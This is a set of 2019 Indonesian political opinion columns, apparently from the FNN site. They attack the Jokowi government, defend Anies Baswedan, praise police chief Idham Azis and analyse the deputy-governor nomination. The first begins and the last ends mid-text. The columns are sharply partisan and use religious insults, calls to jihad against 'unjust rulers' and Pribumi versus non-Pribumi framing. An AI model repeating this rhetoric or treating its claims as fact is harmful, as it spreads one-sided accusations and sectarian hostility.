orang-orang yang ingin menjalankan ajaran agamanya. Di era kekuasaannya yang kedua, berbagai pernyataan dan para menteri Joko Widodo menunjukkan rezim ini menjadikan Islam dan ummat Islam sebagai musuh negara. Mengurangi bahkan menghapus anggaran belanja sosial di APBN adalah bentuk ketidakadilan yang nyata. Pada saat yang sama penguasa justru terus menambah pos pembayaran cicilan dan pokok utang yang menghisap rakyat sumber daya negeri ini. Menaikkan harga berbagai kebutuhan dasar, seperti gas, BBM, listrik, dan lainnya di tengah kian beratnya kehidupan rakyat adalah kezaliman yang nyata! Menaikkan premi (ingat, premi; bukan IURAN) BPJS adalah ketidakadilan yang nyata! Mengancam rakyat yang terlambat membayar premi BPJS dengan menghentikan pelayanan SIM, Paspor, mengurus anak sekolah dan lainya adalah kezaliman yang nyata! Membuka pintu lebar-lebar bagi banjirnya tenaga kerja asing adalah kezaliman yang nyata! Terus menimbun utang hingga ribuan triliun, jelas menunjukkan rendahnya kemampuan dan kreativitas penguasa dalam mengelola anggaran. Membuat utang berbunga sangat tinggi dalam jumlah superjumbo adalah ketidakadilan yang nyata! Betapa tidak, bukankah pada akhirnya semua beban itu rakyat yang harus membayar? Pemakzulan Parade kegagalan penguasa tersebut adalah pelanggaran amat serius terhadap amanat konstitusi. Kalau kita mau tegas, rentetan kegagalan itu sudah lebih dari cukup jadi alasan untuk memakzulkan presiden sebagai pimpinan eksekutif tertinggi. Bukankah dalam sumpahnya setiap presiden yang dilantik berjanji akan mematuhi serta menjalankan konstitusi dan UU dengan selurus-lurusnya? Jadi, perkara menghentikan presiden (dan wakil presiden) di tengah masa jabatannya bukanlah makar, seperti yang jadi koor andalan rezim ini. Memakzulkan presiden adalah konstitusional. Silakan baca pasal 7a UUD 1945 kita. Persoalan persayaratan dan prosedurnya dibuat rumit-ruwet hingga nyaris mustahil, ini hal lain lagi. Jadi, sekali lagi, berhentilah kita ikut kendang penguasa tentang radikalisme, cadar, celana dan cingkrang. Ini adalah isu murahan untuk mengalihkan fokus rakyat terhadap kegagalan penguasa di bidang ekonomi dan pemberantasan korupsi. Kepada para ulama, habaib, kyai, dan tokoh ummat, ganti tema-tema ceramah anda dengan ketidakadilan dan kezaliman penguasa yang terpampang di depan mata. Ingatkan ummat, bahwa uang yang dikorupsi adalah milik rakyat. Cerahkan pemahaman publik, bahwa SDA yang dirampok secara brutal oleh para pejabat publik itu milik rakyat dan warisan bagi generasi masa datang. Karenanya, semua itu harus dilawan! Islam mengajarkan, bahwa mempertahankan harta yang dirampas adalah hak setiap individu dan suatu tindakan mulia. Mati karena mempertahankan harta dinilai sebagai mati syahid. Allah janjikan masuk surga tanpa hisab, in sya Allah. Membaca shalawat atas Rasulullah SAW itu penting. Kita wajib melakukannya. Allah dan para malaikat pun bersahalawat kepada nabi Muhammad SAW. Berzikir kepada Allah, baik sendiri-sendiri maupun berjamaah, itu penting. Kita harus melakukannya. Memperingati Maulid Nabi itu penting, dan kita boleh melakukannya. Tapi berjihad memberantas kezaliman dan ketidakadilan juga lebih penting. Berjuang merebut hak-hak rakyat yang dirampas itu sangat penting. Jihad menegakkan agama Allah, membebaskan penuhanan manusia atas manusia lain jauh lebih penting. Jadi, tidak tepat lagi kita mengatakan kepada ummat dan rakyat, kalau ada pejabat korupsi, biarlah itu urusan dia. Dia berdosa dan kelak akan mendapat siksa dari Allah. Begitu juga dengan jika penguasa yang zalim dan sewenang-wenang, tidak bisa lagi dengan semata-mata itu urusan privat yang bersangkutan dengan Allah. Urusan kepemimpinan, apalagi bernegara, adalah urusan publik. Kezaliman dan ketidakadilan penguasa wajib diluruskan. Risiko? Pasti ada. Sebagai pendakwah, risiko terdekat adalah tidak diundang lagi berceramah. Jika sudah punya agenda rutin, kemungkin jadwal dicoretnya jadwal kita di masjid atau kantor tersebut. Risiko lainnya, kita akan berhadapan dengan penguasa. Ini lebih besar dan lebih berat ketimbang risiko pertama. Sangat mungkin akan ditangkap, dipenjara, bahkan nyawanya dihilangkan. Tentu saja, kita sama sekali tidak berharap akan mengalaminya. Namun inilah risiko dakwah yang harus ditapaki setiap pelakunya. Inilah jalan dakwah para nabi, termasuk nabi Muhammad SAW dan para sahabatnya yang mulia. Itulah sebabnya, Rasulullah SAW bersabda, seperti di pembuka tulisan ini. “Jihad yang paling utama adalah mengatakan kebenaran di hadapan penguasa zalim.” Bagaimana? [*] Jakarta, 11 November 2019 *) Edy Mulyadi, Sekretaris Jenderal GNPF-Ulama

Mengabdi di Negerinya Para Bandit

Pemimpin yang adil itu, adalah salah satu dari tujuh golongan manusia yang berada di kursi VVIP-nya Allah SWT. Karena metreka mendapatkan perlindungan langsung dari Allah SWT, dikala yang lain tidak mendapatkan perlindungan tersebut. Jadi, janganlah coba bermain-main dengan pemimpin yang berpihak kepada orang kecil. Pemimpin itu yang amanah, adil, fathonah dan tablig. By M. Naufal Dunggio Jakarta, FNN - Untuk saat ini, di era serba digital dan modern, untuk menjadi orang baik ternyata tidak mudaj. Susah juga. Sebab kita harus mengikuti irama para penjahat negeri agar bisa memperoleh simpatik media yang mereka kelola. Sebab kalau tidak, maka kita akan dibully, difitnah, dibunuh karakter kita dan didzalimi di setiap waktu. Pilihannya hanya dua, mau ikut mereka atau dihajar mereka. Situasi seperti inilah yang sekarang dirasakan oleh goodberneer Indonesia, yakni Bang Anies Baswedan. Tidak ada kata bagus apapun yang dikerjakannya selama du tahun masa jabatannya di Jakarta. Semua serba salah di mata para bani togog permanen. Segala macam umpatan, makian, bullyan dan hinaan tumpah ruah dari mulut mereka sesuka hati. Belum cukup puas dengan semua itu. Mereka juga membuat karikatur untuk Bang Anies. Karikatur yang menggambarkan dia orang jahat melalui media mereka. Memang agak susah bila manusia udah berkarat dengan segala macam dendam kesumatnya di otak dan hatinya. Dibacain apa aaja nggak mungkin bisa berubah kelakuaannya. Besar kemungkinan, sifat-sifat sebagai pendendam itu akan mereka bawa sampai mati. Mereka bagaikan singa yang kelaparan, karena tidak makan selama seminggu. Mengintai Bang Anies satu kali dua puluh empat jam tidak tidur-tidur. Pengintaian tidak cukup hanya dilakukan satu hari. Bisa berminggu-minggu dan berbulan, bahkan bertahun-tahun. Hasil pengintaian tersebut, tiba-tiba saja ada orang yang membocorkan. Bahwa ada anggaran di Anggaran Penddapatan dan Belanja Daerah (APDB) DKI tahun 2020 cukup fantastis nominalnya untuk lem aibon dan pulpen. Padahal semua temuan tersebut, baru pada tahap perencanaan. Belum menjadi APDB DKI untuk tahun anggaran 2020 Langsung saja isu tentang besaran anggaran lem aibon dan pulpen ini ditangkap oleh musuh-musuh Anies. Mereka anggap sebagai mesiu segar. Mereka langsung memberondongkan tembakan ke Bang Anies. Terutama oleh anak-anak ingusan dari Partai Setan bin Iblis. Padahal mereka tidak tahu, bahwa mereka sebenarnya telah masuk ke jebakan batmannya Anies. Apakah mereka berhasil menundukkan, atau membuat Bang Anies tidak berdaya, atau tidak berkutik? ooooh sudah pasti tidak kawan. Anda-anda justru gagal faham. Kenyataan yang terjadi malah sebaliknya. Senjata bakalan memakan tuannya sendiri. Manuver yang kalian lakukan justru mengakibatkan terbongkarlah penipuan, perampokan serta pemalingan yang dilakukan oleh gubernur sebelumnya. Gubernur yang kalian sanjung-sanjung bagaikan nabi gadungan, tetapi nyatanya berbau septitank tersebut. Tuhan pasti tidak akan membiarkan hamba-Nya yang beriman dimusuhi begitu saja. Hamba yang bertaqwa pada-Nnya, yang dido'ain oleh banyak orang, bahkan mungkin saja dido’ain oleh puluhan juta orang untuk di dzalimi oleh para manusia-manusia jahil. Manusia-manusia jahat, tamak, pendengki, maling, penipu, penzina, atheis, munafik dan kafir. Apalagi Anies adalah hamba Allah itu sangat memuliakan orang-orang miskin papa dengan kekuasaan yang ada di tangannya. Anies dapat membuktikan kepada kita semua bahwa dengan kekuasaan yang ada di tangan, dia membuat orang kecil yang miskin menjadi berada. Namun orang kaya juga tidak akan berkurang. Bahkan mereka tetap saja kaya Pemimpin yang adil itu, adalah salah satu dari tujuh golongan manusia yang berada di kursi VVIP-nya Allah SWT. Karena metreka mendapatkan perlindungan langsung dari Allah SWT, dikala yang lain tidak mendapatkan perlindungan tersebut. Jadi, janganlah coba main-main dengan pemimpin yang berpihak kepada orang kecil. Pemimpin yang amanah, adil, fathonah dan tablig. Tangannya akan sangat beracun bila dia diganggu. Apalagi sibuk untuk sana-sini untuk mencari-cari kesalahannya. Bakal berakibat sangat fatal bagi yang mendzalimi pemimpin seperti ini. Akan berurusan langsung dengan Tuhan, penguasa langit dan bumi. Semoga Bang Anies terus berkarya membahagiakan warganya. Juga selalu bekerja memajukan kotanya. Jadikanlah teriakan dan ulah para bani togog permanen tersebut sebagai cambukan untuk bekerja lebih keras lagi. Lebih berkarya, yang mendekati kesempurnaan. Kasihan kalau mereka nggak mengganggu Bang Anies, maka bisa makan apa mereka? dan bagaimana mempertanggung jawabkan itu duit itu sama Opung? Bisa ditembak kepala mereka oleh opung. Udah susah, apalag ditembak lagi kepala mereka. Pasti apes deh mereke. Melihat Bang Anies senyum-senyum saja batin mereka sudah tersiksa. Apalagi kalau dikejar-kejar lagi sama Opung. Pasti kuacian deeeeh mereka. Untuk itu, biarkan saja mereka berulah sesuka hati mereka. Toh pada akhirnya rakyatlah yang akan menilai hasil kerja bang Anies seperti apa. Bang Anies harus sabar, dan tetap istiqomah. Serahkan saja kepada Allah sebagai Penguasa Alam Semesta. Biarlah Allah menjadi hakimnya yang maha adil kepada mereka. Wallahu A'lam Bishawab... Penulis adalah Aktivis dan Ustadz Kampong

Jangan Ragukan ke-Islaman Kapolri Idham Azis

Jujur harus diakui, belum pernah ada calon Kapolri di negeri ini, yang ketika menjalani fit and proper test di Komisi III DPR, mau mengutip ayat-ayat Al-Quran seperti yang dilakukan Bang Idham Azis. Itu artinya, Al-Qur’an bakal dijadikan sebagai panduan, sandaran nilai dan moral dalam memimpin kelembagaan Polri selama satu satu tahun dua bulan ke depan. By M. Naufal Dunggio Jakarta, FNN - Akhir-akhir ini viral di medsos tetang jejak digital Kapolri Baru Jendral Polisi Drs. Idham Azis. Lengkap dengan segala bumbu masaknya. Yang intinya meragukan komitmen beliau dalam memimpin Polri yang diucapkan pada saat fit and proper test beberapa hari lalu. Terlebih lagi keraguan publik tentang sikapnya kepada umat Islam. Ucapan dan sikap beliau tentang radikalisme yang sangat cukup membawa angin segar bagi umat Islam. Jangan hanya dianggap sebagai liv service belaka. Jangan juga hanya dengan dimunculkan jejak digital yang menyudutkan beliau. Seakan-akan dengan jejak digital tersebut, ingin mengabarkan pada publik bahwa ke-Islamannya dan perhatian pada umat Islam patut diragukan. Sebagai anak Sulawesi, bang Idham (panggilan akrabnya) seperti layaknya anak-anak di pulau Sulawesi pada umumnya, tidak ada yang bodoh tentang pelajaran agama Islam. Para orang tua kampung di Pulau Sulawesi, selalu mendidik anak-anaknya agar bisa dan lancar dalam membacakan Al-Qur’an sampai khatam Juz 30 atau Juz Amma. Setelah itu, harus memahami pelajaran agama Islam. Jangan coba-coba sehabis shalat magrib, anda tidak ikut mengaji di surau, mushollah atau di rumahnya para guru mengaji. Kalau sampai anda tidak mengaji, dipastikan kayu sepanjang satu meter atau ikat pinggang siap-siap melayang di kaki atau pantat. Bagitulah kerasnya didikan para orang tua tentang pentingnya mengaji. Aib bagi keluarga bila ada anaknya yang tidak bisa mengaji. Anak-anak Sulawesi, biar badung dan nakal, namun mereka pada umumnya tetap saja pintar-pintar pengetahuan agamanya. Pintar mengaji juga menjadi kewajiban, walaupun mereka bukanlah ustadz atau guru mengaji. Sehingga walaupun bergeser dalam pergaulan saat sudah besar, mereka tetap saja kokoh dalam mempertahankan nilai dan moral agama. Semua itu bisa terjadi, karena anak Sulawesi dididik oleh orang tuanya dengan nilai-nilai agama Islam sejak kecil. Tidak mengherankan kalau mereka bisa menunjukkan kelasnya, bahwa mereka memang mengerti tentang ajaran agama Islam. Mengerti yang diajarkan di kampung sewaktu kecil. Apalagi kalau sekarang ini, kedua orang tuanya masih hidup. Bapak atau ibu, atau kedua-duanya pasti sangat dimuliakan. Kedua orang tuanya pasti sangat dijunjung tinggi kehormatannya. Karena anak tersebut pasti akan kembali ke jalan yang Allah inginkan. Walaupun, menurut pandangan orang lain, agak kelam pejalanan hidupnya. Kondisi seperti inilah yang juga terjadi pada Kapolri baru Idham Azis. Kalau beliau tidak pernah mengaji atau ta'lim sejak kecil, mana mungkin ketika mengikuti fit and proper test di Komisi III DPR, fasih dalam mengutip Al-Qur’an, Surat Yasin, Ayat 65. Yang artinya, "pada hari ini Allah menutup mulut kita, dan tangan kita yang berbicara, dan kaki kita menjadi saksi terhadap apa yang dikerjakan semasa hidup kita". Subhanallah. Ayat ini kalau dibaca oleh para imam di waktu shalat maghrib, isya atau subuh, biasanya suka bergetar suara sang imam. Suasana ini biasanya diikuti dengan tangisan akibat dahsyatnya pengaruh ayat ini. Orang kalau tidak meresapi ayat ini, mana mungkin mau dijadikan acuan dalam menjalankan amanah Allah di muka bumi. Penyanyi sekelas almarhum Chrisye saja tidak bisa mengulangi ayat ini untuk kedua kalinya. Perintiwa itu terjadi saat Chrisye melakukan rekaman, dengan menyanyikan lagu yang ditulis oleh penyair top Taufik Ismail, dengan mengambil syair dari Ayat 65 Surat Yasin ini. Badannya Chrisye bergetar dan menggigil, saat meresapi syair-syair yang diambil dari Surah Yasin tersebut. Bang Idham, dengan lisannya sudah menyampaikan kepada kita bangsa Indonesia, bahwa dia akan memimpin institusi Polri sesuai dengan nafasnya Ayat 65 Surat Yasin tersebut. Suatu pernyataan mungkin saja langka untuk ukuran modern dan melanial sekarang. Namun itulah fakta yang bisa kita saksikan dan dengan belum lama ini dari mulutnya bang Idham Azis. Jujur harus diakui, belum pernah ada calon Kapolri di negeri ini, yang ketika menjalani fit and proper test di Komisi III DPR, mau mengutip ayat-ayat Al-Quran seperti yang dilakukan Bang Idham Azis. Itu artinya, Al-Qur’an bakal dijadikan sebagai panduan, sandaran nilai dan moral dalam memimpin kelembagaan Polri selama satu satu tahun dua bulan ke depan. Soal nantinya beliau tidak menempati janjinya atau mengingkari sendiri ucapannya, itu urusan Pak Kapolri Idham Azis dengan Ilahi Rabbi. Namun yang jelas beliau telah menunjukkan kepada kita, siapa dirinya yang sebenarnya. Untuk jangan lagi kita meragukan ke-Islamannya. Beliau pasti akan mempertanggung jawabkan jabatannya sebagai Kapolri bukan hanya di hadapan manusia. Namun di hadapan pengadilan akhirat kelak. Begitulah kira-kira begitu pesan yang ingin disampaikan oleh pak Kapolri dengan mengutip Al-Qur’an, Surat Yasin ayat 65 tersebut, ketika menjalani uji kalayakan dan kepatutan di Komisi III DPR. Bang Idham Azis adalah sosok anak Sulawesi pertama yang menjadi orang nomor satu di tubuh Polri. Semoga saja dia menjadi acuan yang bagus, dan indah ke depan. Menjadi teladan untuk bagi adik-adik dari Indonesia Tengah dan Timur. Menjadi teladan juga bagi adak-adiknya di polisi. Paling kurang Polri ketika di tangan Jendral Idham Azis bisa tampil lebih soft di masyarakat. Semoga Polri ke depan lebih manusiawi kepada rakyat dan umat Islam, yang menjadi pemegang saham utama institusi Polri. Polisi yang lebih bermartabat dalam mengamankan NKRI kita. Untuk itu, hanya kepada Allah jualah kita berserah diri. Selamat bekerja Bang Idham. Semoga saja, Allah SWT selalu melindungimu, merahmatimu dan menuntunmu. Penulis adalah Aktivis dan Ustadz Kampong

Anies Baswedan Sang Pahlawan Orang Tertindas

Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Nathaniel Kriehn, dari Leeds Beckett University, melemparkan pertanyaan "What is a hero?" dalam situs researchgate. Net. Situs yang mendapat tanggapan 27 intelektual, dari 27 kampus berbagai negara di dunia. Beberapa hal dalam setengah dialog tentang pahlawan di situ menunjukkan beberapa hal penting untuk disimak tentang siapa itu pahlawan. Pertama, pahlawan itu adalah "pahala wan", yang harus dibedakan dengan idol maupun "cultural icon". Pahala wan adalah orang baik atau berbuat baik atau "altruism" dengan mengorbankan kepentingan dirinya demi masyarakat. Kedua, pengertian ini akan mengalami distorsi dalam relasi terhadap perbedaan kultur, tempat dan waktu. Di Jerman, dulu misalnya pahlawan itu hanya dikaitkan dengan "warrior", alias pahlawan dalam perang. Ketiga, popular culture saat ini dapat menciptakan pahlawan dalam "fictional hero" yang ukurannya kadang dapat melebihi standar manusia biasa. Contoh Superman, maupun membalikkan persepsi hero (pahlawan), seperti Joker sebagai pahlawan kaum miskin kota melawan Batman. Dalam konteks Indonesia dan Hari Pahlawan saat ini, pahlawan yang kita definisikan adalah ala klasik. Yang merujuk pada pengorbanan seseorang untuk membela masyarakatnya, khsusunya rakyat kecil. Merujuk pada itu Sukarno dan para "founding fathers" adalah pahlawan sejati. Apakah ada pahlawan seperti yang kita bicarakan di atas? Setelah 74 tahun Indonesia merdeka, memang kita kesulitan mencari pahlawan. Pahlawan yang disodorkan dan dibentuk persepsinya oleh media bervariasi dari "fake hero", fictional hero, idol dan cultural icon." Fake hero adalah pahlawan palsu. Pahlawan palsu biasanya menjual sisi dirinya yang seolah-olah pro rakyat miskin. Hidup menderita, dengan pakaian dari kemeja sampai sepatu super murah. Berjanji berkerja untuk rakyat miskin, dan lain-lain. Sedangkan Fictional Hero atau Pahlawan Fiksi adalah ala komik superhero. Semua sisi hidupnya tidak ada salah. Sementara itu idol adalah simbol figur pujaan kontestasi, yang diinisiasi media mainstream. Sedangkan "cultural icon" menunjukkan seseorang dan sesuatu yang merepresentasikan sebuah budaya atau kebudayaan tersebut. Misalnya, jika ada elit nasional memakai blankon dan kostum Jawa, seolah2 dialah mewakili seluruh perasaan atau simbol Jawa. Bagaimana kita mengetahui seseorang itu hanya pahlawan palsu. Dia bukanla dari pahlawan yang sebenarnya? Penialian tentang hal ini hanya bisa dilihat dari konsistensi janji pemimpin tersebut, baik lisan maupun verbal terhadap realisasinya. Jika pemimpin-pemimpin tersebut berjanji membuat pemerintahan yang pro rakyat miskin. Tetapi yang memerintah mayoritas adalah orang-rang kaya, alais para taipan alias para konglomerat, maka bisa dipastikan bahwa orang miskin akan semakin miskin nantinya. Pahlawan palsu juga dapat didekati dengan persepsi baru terhadap sebuah konsep. Christopher Columbus, penemu Amerika abad ke 15, setiap tahun diperingati sebagai hero yang membawa keberkahan bagi orang2 eropa, sehingga bisa mendiami Amerika. Namun, saat ini persepsi tentang dia berubah karena perbuatan Columbus di masa lalu bukan dianggap kejahatan Kini dianggap kejahatan. Perbuatan dia itu, sebagaimana di ulas dalam history. com sebagai berikut. Pertama, menjadikan orang-rang asli Amerika (Indian) sebagai budak dengan kejam. Kedua, meng-Kristenkan mereka secara pakasa. Ketiga, membawa penyakit baru ke orang-orang Indian (the introduction of a host of new diseases that would have dramatic long - term effects on native people in the Americas). Karena telah berubahnya persepsi tentang perbudakan tersebut, maka pada beberapa negara bagian di Amerika seperti South Dakota, Florida, Hawaii, Vermont, New Mexico dan Maine, sekarang ini Columbus sudah dianggap sebagai penjahat. Dalam kecanggihan big data saat ini, mengenali seseorang dapat dilakukan dengan cepat. Orang-rang elit berbohong dapat diketahui karena big data akan memperlihatkan siapa mereka. Seorang pemilik korporasi, atau perjalanan hidupnya mayoritas dalam perusahaan, misalnya, pastilah menjalani prinsip kehidupan ekonomi "dengan modal sekecil-kecilnya untuk dapat untung sebesar-besarnya". Pemilik korporasi seperti ini dipastikan "mendahulukan untung duluan untuk kelompok bisnisnya. Baru setelah itu sisanya dibagi-bagikan kepada orang lain sebagai CSR". Tarakhir "market place" adalah satu-satunya ruang (dominan) untuk kehidupan di dunia. Jika orang-orang bisnis misalnya, katanya bekerja untuk kepentingan rakyat, itu sulit terjadi. Bukan tidak mungkin, hampir mustahil. Sehingga jika ada pejabat publik dari kalangan bisnis ingin jadi pahlawan, maka media atau kelompok-kelompok PR (propanda) harus bekerja ekstra keras. Menceritakan sisi tertentu terkait keuntungan yang diperoleh rakyat atas kehadiran dirinya. Ini adalah kerja pencitraan. Ketika mayoritas elit berkuasa di Indonesia adalah bagian oligarki kapitalis alias orang kaya, maka berharap adanya pahlawan untuk rakyat, jauh panggang dari api. Oligarki kapitalis ini bukan sekedar pemodal dibelakang layar, seperti satu dekade lalu, tapi sekarang tampil langsung menjadi penguasa. Lalu bagaimana rakyat miskin bisa mempunyai pahlawannya? Untuk itulah kita secara jeli melihat pemimpin yang terhubung dengan kepentingan rakyat. Dalam tulisan ini, kita kaitkan Anies Baswedan, yang sekarang menjabat sebagai Gubernur DKI Jakarta. Mempertimbangkan Anies karena dua hal. Pertama, skala kekuasaannya. Kedua, karirnya ke depan. Skala kekuasaannya yang tunggal, melingkupi penduduk dua kali New Zealand atau Denmark secara solid, tidak seperti provinsi-provinsi lain. Selain itu, skala ekonomi yang dikendalikan, membuat ukuran kekuasan Anies sangat besar. Sementara itu karir Anies untuk menjadi presiden ke depan sangat terbuka luas. Berbagai survei menunjukkan Anies jauh di atas Prabowo untuk capres 2024 mendatang. Apakah Anies bisa disebut pahlawan? atau sekedar penguasa yang baik? Pahlawan adalah pilihan politik yang mengandung resiko. Bisa dinista, dihina, maupun diruntuhkan. Sedangkan penguasa yang baik, cukup dengan menjalankan agenda-agenda standar dan "governance". Ridwan Saidi, tokoh budayawan dan Betawi yang sangat senior, beberapa waktu lalu mengungkapkan bahwa Anies sedang berjuang dalam politik geografis-demografis. Penghentian reklamasi Jakarta, menurutnya, dilakukan Anies agar keseimbangan penguasaan teluk Jakarta dan komposisi penduduk yang mendiami daerah itu seimbang antara Pribumi dan Non Pribumi. Menurut Ridwan, politik seperti ini sangat langka. Hanya bisa ditemukan pada sosok yang dalam nilai perjuangannya bagi bangsa kita. Jadi, dari sisi ini Anies bukan sekedar ingin berkuasa. Tentu saja konsep politik Anies juga banyak yang mendasarkan kebijakannnya pada pilihan ideologis. Pilihan ideologis maksudnya adalah mengutamakan orang-orang miskin. Contohnya, kebijakan Anies dalam merestorasi kampung bersejarah yang dihancurkan di masa Gubernur lalu, seperti Kampung Aquarium. Anies bukan saja akan merestorasi tempat bersejarah, seperti makam bersejarah Luar Batang, tapi juga perkampungan penduduknya. Secara keseluruhan, konsep Anies diibaratkan "elevator" dalam menjelaskan mobilisasi vertikal masyarakat. Orang-orang kaya tidak berkurang kekayaannya. Tetap dapat naik menjadi kaya. Namun orang-orang miskin juga harus ikut menjadi kaya. Membangun infrastruktur, misalnya dapat menguntungkan kedua kelompok, kaya dan miskin. Namun, membagi porsi infrastruktur agar menjadi alat produksi orang miskin, seperti memberdayakan bagian trotoar buat PKL, secara "manageable", bukanlah konsep biasa. Melainkan sebuah konsep yang berbasis pada ideologis. Sebuah pemihakan kepada orang-orang kecil. Menurut Jeffrey Sach, pakar kemiskinan dunia. Memberi kaya orang miskin harus dilakukan dengan dua hal. Pertama "memberi pancing". Kedua, memberi juga ikannya. Anies sebagaimana Sach memberi pancing atau kail ketika membuka akses rakyat miskin pada aset atau capital. Pada saat yang bersamaa, Anies juga sekaligus memberi "ikan" nya melalui berbagai program subsidi. Pikiran Jeffrey Sach ini, di Indonesia, hanya bisa dijalankan oleh Anies Baswedan. Kenapa? karena dia tidak menjadi bagian oligarki kapitalis yang mencengkram semua lini kekuasaan saat ini. Penutup Hari ini adalah hari pahlawan. Pahlawan adalah pahala-wan. Manusia yang sejatinya ketika berkuasa bekerja semata-mata hanya untuk kepentingan rakyat, bukan kepentingan cukong. Dan Anies Baswedan sudah dua tahun bergerak mendorong keseimbangan ibukota. Agar orang kaya tidak mengontrol nasib rakyat Jakarta. Untuk agenda itu, Anies harus berhadapan dengan kekuatan oligarki kapitalis dan kaki tangannya yang selalu mencari celah menghancurkan karirnya. Namun, seperti tetesan air yang terus menerus menghancurkan batu cadas. Agenda Anies membangun Jakarta sekaligus kota dan rakyatnya, terus berhasil mendorong transformasi sosial yang baik. Orang-orang miskin semakin termanjakan dan fungsi sosial negara semakin dalam. Untuk itulah, kita yakin bahwa Anies Baswedan, meski para musuh mencari berbagai kesalahan. Namun tetap saja, sejatinya Anies adalah seorang pahlawan, khususnya pahlawan bagi kaum tertindas. Kaum marginal. Kaum miskin Jakarta. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Pencalonan Wagub DKI, Anies Harus Bagimana?

Oleh Dr. Margarito Kamis Jakarta, FNN - Jabatan Wakil Gubernur DKI, tak terisi sejak Sandiaga Uno, Wagubnya Anies Baswedan meninggalkannya. Sandi meninggalkan Wagub DKI, karena mengikuti pilpres sebagai wakilnya Pak Prabowo. Sejak itu, sekali lagi, jabatan ini tak terisi. Sejak itu juga kekosongan pemangku jabatan ini muncul menjadi persoalan hukum dan politik. Siapa yang berhak mencalonkan wagub? Kapan harus diajukan, dan siapa yang berhak memilihnya? Semuanya sejauh ini terpola menjadi sepenuhnya politik. Yang sialnya, terlihat tak menemukan ujung final pemecahannya. Satu masalah muncul, dan sesudahnya disusul masalah lain yang jauh lebih rumit. Ahmad Syaiku dan Agung Yulianto yang telah disepakati Gerindra dan PKS. Dua gabungan partai pengusung nama ini untuk dicalonkan (Antara, 1/3/2019). Dua nama telah disampaikan kepada Gubernur Anies untuk diteruskan ke DPRD DKI. Entah bagaimana jalan pikiran Gerindra, pada bulan Oktober mereka mengusulkan, tanpa PKS tentu saja, empat nama lain. Mereka yang diusulkan itu adalah Arnest Lukman, Ferry Jullianto, Ahmad Riza Patria dan Saefullah (Detikcom, 09/11/2019). Fakta ini menarik dari semua sisinya. Tetapi itu bukan karena Saefullah adalah Sekretaris Daerah (Sekda) DKI. Juga Ketua TIM Anggaran Pemda DKI, sekaligus Plt Dinas Pendidikan. Dinas ini teridentifikasi dalam kisruh rancangan besaran anggaran pada KUA-PPAS DKI tahun angaran 2020. Benar-benar bukan karena itu. Tidak Sah Lain hukum, lain pula politik. Dalam hukum norma atau kaidah muncul ditempat paling awal sebagai penuntun. Juga sebagai pengendali dan pengarah tindakan-tindakan, termasuk tindakan politik. Hukum tak mengenal manufer. Manufer itu, begitu sering dikenali oleh ilmuan politik menjadi tipikal politik. Bukan hukum. Manufer tanpa kaidah hukum jelas liar. Setidaknya suka-suka. Itu karena panduan dalam manufer politik bersandar pada serangkaian fariabel. Misalnya kepentingan. Itupun fariabel didalamnya tidak tunggal. Faribelnya bisa berupa campuran antara kepentingan pribadi dan kelompok. Kelompok saya, kita atau bukan. Saya atau kita menang, untung atau saya atau kita kalah dan rugi. Hukum disisi lain tak begitu. Hukum memandu tindakan dan pertimbangan politik dengan norma. Sesuai atau tidak dengan norma. Tidak lebih. Politisi cerdas mengambil dan menggunakan panduan hukum itu. Merancang dan melakukan manufer politik juga dengan panduan hukum. Pada titik itu, politisi dalam kasus tarikan tanpa ujung pengisian jabatan Wagub. Itulah indahnya, berpijak. Memijaki panduan itu, politisi terutama Gerindra harus tahu lebih dari yang dituntut bahwa “pencalonan wagub” tidak bisa secara hukum, dilakukan terpisah. Tidak sah dua partai ini “Gerindra dan PKS” secara sendiri-sendiri atau terpisah-pisah satu sama lain mengajukan calon wagub. Sekali lagi, tidak bisa. Tidak ada hukumnya. Hukum yang tersedia saaat ini, yang memandu tindakan mencalonkan Wagub yang sedang tak terisi adalah UU Nomor 10 Tahun 2016 Tentang Perubahan UU Nomor 1 Tahun 2015 Tentang Penetapan Perpu Nomor 1 Tahun 2014 Tentang Pemilihan Gubernur, Bupati dan Walikota. Pasal 176 ayat (1) UU No 10 di atas tegas isinya. Dalam hal Wakil Gubernur, Wakil Bupati dan Wakil Walikota berhalangan tetap, berhenti atau diberhentikan, pengisian Wakil Gubernur, Wakil Bupati, dan Wakil Walikota dilakukan melalui mekanisme pemilihan masing-masing oleh DPRD Provinsi, dan DPRD Kabupaten/Kota berdasarkan usulan dari partai politik/Gabungan Partai Politik Pengusung. Soal hukumnya adalah apakah Anies dan Sandi dicalonkan hanya, dalam arti secara terpisah-pisah oleh Gerindra atau hanya oleh PKS? Faktanya Anies dan Sandi dicalonkan oleh oleh gabungan Gerindra dan PKS. Oleh karena faktanya sejelas dan setegas seperti itu, maka hukumnya adalah baik Gerindra maupun PKS tidak bisa, dengan atau tanpa alasan apapun mencalonkan Wagub secara sendiri atau secara terpisah. Sekali lagi itu tidak bisa. Hukumnya adalah pencalonan yang dilakukan secara terpisah itu tidak sah. Apapun argumentasi yang disodorkannya. Sejauh pasal ini tidak berubah, maka sejauh itu pula kaidah pencalonan wakil gubernur DKI Jakarta tidak berubah. Konsekuensinya, suka atau tidak, dengan menggunakan demokrasi atau apapun namanya yang lain, termasuk kepentingan rakyat dan jumlah rakyat Jakarta, tidak sah. Sikap Anies Anies harus bersikap apa? Bila, sekali lagi, bila Gerindra dan PKS secara gabungan telah mengajukan Ahmad Syaiku dan Agung Yulianto ke Anies, maka hukum mewajibkan Anies meneruskan kedua nama itu ke DPRD untuk dipilih. Titik. Tidak ada sikap lain selain itu. Apakah Anies telah memenuhi kewajiban itu atau belum? Hukum tidak menyediakan landasan kepada Anies untuk memperhitungkan konfigurasi dan atmosfir politik di DPRD. Kewajiban hukum Anies adalah bila kedua partai ini telah secara bersama mengajukan calon Wagub, maka Anies wajib meneruskannya ke DPRD untuk dipilih. Hanya itu saja, titik. Apa konsekuensi yang timbul dan dipikul DPRD bila Anies telah mengajukan dua nama itu ke DPRD? DPRD, dengan atau tanpa alasan wajib dalam kesempatan pertama mengadakan rapat paripurna istimewa pemilihan Wagub. Tidak lebih dan tidak kurang. Apa hukumnya bila Tata Tertib pemilihan belum ada? Saya tak berani berspekulasi soal ini. Apakah DPRD sejauh ini tidak memilik Peraturan Tertib yang materi-muatannya mengatur tata tertib pemilihan Wakil Gubernur? Secara penalaran logis, jawabannya mesti ada. DPRD dengan alasan apapun, tidak dapat menolak, termasuk tidak bisa mengembalikan calon Wagub yang diajukan gabungan partai pengusung. Yang diserahkan oleh 